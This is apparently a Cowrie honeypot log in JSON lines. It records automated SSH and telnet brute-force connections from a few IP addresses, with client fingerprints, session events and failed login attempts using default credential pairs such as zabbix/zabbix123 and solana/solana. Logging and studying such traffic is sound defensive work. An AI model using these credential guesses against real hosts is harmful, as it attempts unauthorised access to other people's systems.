{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:21.286387Z","src_ip":"45.156.87.69","session":"2b14bbfb5f76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe123","message":"login attempt [frappe/frappe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:21.834258Z","src_ip":"45.156.87.69","session":"2b14bbfb5f76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:23.003239Z","src_ip":"45.156.87.69","session":"2b14bbfb5f76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":42658,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8382bd14334","protocol":"ssh","message":"New connection: 45.156.87.69:42658 (159.203.135.109:22) [session: a8382bd14334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:24.951768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:24.995842Z","src_ip":"45.156.87.69","session":"a8382bd14334","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:25.092103Z","src_ip":"45.156.87.69","session":"a8382bd14334","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apex","password":"apex","message":"login attempt [apex/apex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:25.501866Z","src_ip":"45.156.87.69","session":"a8382bd14334","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:26.586717Z","src_ip":"45.156.87.69","session":"a8382bd14334","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":38546,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad642d5aa4bb","protocol":"ssh","message":"New connection: 45.156.87.69:38546 (159.203.135.109:22) [session: ad642d5aa4bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:28.452128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:28.476911Z","src_ip":"45.156.87.69","session":"ad642d5aa4bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:28.580564Z","src_ip":"45.156.87.69","session":"ad642d5aa4bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix123","message":"login attempt [zabbix/zabbix123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:29.106907Z","src_ip":"45.156.87.69","session":"ad642d5aa4bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:30.201847Z","src_ip":"45.156.87.69","session":"ad642d5aa4bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":50872,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca30f608f564","protocol":"ssh","message":"New connection: 193.32.162.145:50872 (10.17.0.5:22) [session: ca30f608f564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:30.243359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:30.248747Z","src_ip":"193.32.162.145","session":"ca30f608f564","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:30.355102Z","src_ip":"193.32.162.145","session":"ca30f608f564","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:30.678315Z","src_ip":"193.32.162.145","session":"ca30f608f564","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42072,"dst_ip":"10.17.0.5","dst_port":23,"session":"09021a8db2ae","protocol":"telnet","message":"New connection: 152.42.224.71:42072 (10.17.0.5:23) [session: 09021a8db2ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:31.074383Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:31.785740Z","src_ip":"193.32.162.145","session":"ca30f608f564","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":38548,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8ccb78556a9","protocol":"ssh","message":"New connection: 45.156.87.69:38548 (159.203.135.109:22) [session: f8ccb78556a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:31.893312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:31.900189Z","src_ip":"45.156.87.69","session":"f8ccb78556a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:32.013342Z","src_ip":"45.156.87.69","session":"f8ccb78556a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"office","password":"office","message":"login attempt [office/office] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:33.063663Z","src_ip":"45.156.87.69","session":"f8ccb78556a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:34.212280Z","src_ip":"45.156.87.69","session":"f8ccb78556a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":38552,"dst_ip":"159.203.135.109","dst_port":22,"session":"23d1b03d3b30","protocol":"ssh","message":"New connection: 45.156.87.69:38552 (159.203.135.109:22) [session: 23d1b03d3b30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:35.619766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:35.624976Z","src_ip":"45.156.87.69","session":"23d1b03d3b30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:35.895352Z","src_ip":"45.156.87.69","session":"23d1b03d3b30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leo","password":"leo","message":"login attempt [leo/leo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:36.748638Z","src_ip":"45.156.87.69","session":"23d1b03d3b30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:37.994720Z","src_ip":"45.156.87.69","session":"23d1b03d3b30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":24422,"dst_ip":"159.203.135.109","dst_port":22,"session":"17a082619bb4","protocol":"ssh","message":"New connection: 45.156.87.69:24422 (159.203.135.109:22) [session: 17a082619bb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:39.514937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:39.588228Z","src_ip":"45.156.87.69","session":"17a082619bb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:39.677055Z","src_ip":"45.156.87.69","session":"17a082619bb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"password","message":"login attempt [testuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:40.276077Z","src_ip":"45.156.87.69","session":"17a082619bb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:41.383551Z","src_ip":"45.156.87.69","session":"17a082619bb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":24436,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4b6ff31afb5","protocol":"ssh","message":"New connection: 45.156.87.69:24436 (159.203.135.109:22) [session: a4b6ff31afb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:43.203653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:43.207196Z","src_ip":"45.156.87.69","session":"a4b6ff31afb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:43.305932Z","src_ip":"45.156.87.69","session":"a4b6ff31afb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.37459397315979,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:43.656140Z","src_ip":"152.42.224.71","session":"36479e98a288","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"gmod","password":"gmod","message":"login attempt [gmod/gmod] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:43.704643Z","src_ip":"45.156.87.69","session":"a4b6ff31afb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.306753396987915,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:44.484116Z","src_ip":"152.42.224.71","session":"09add221ab36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:44.813732Z","src_ip":"45.156.87.69","session":"a4b6ff31afb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":54060,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4ca9b44a54b","protocol":"ssh","message":"New connection: 45.156.87.69:54060 (159.203.135.109:22) [session: c4ca9b44a54b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:46.743144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:47:46.747869Z","src_ip":"45.156.87.69","session":"c4ca9b44a54b","protocol":"ssh"}
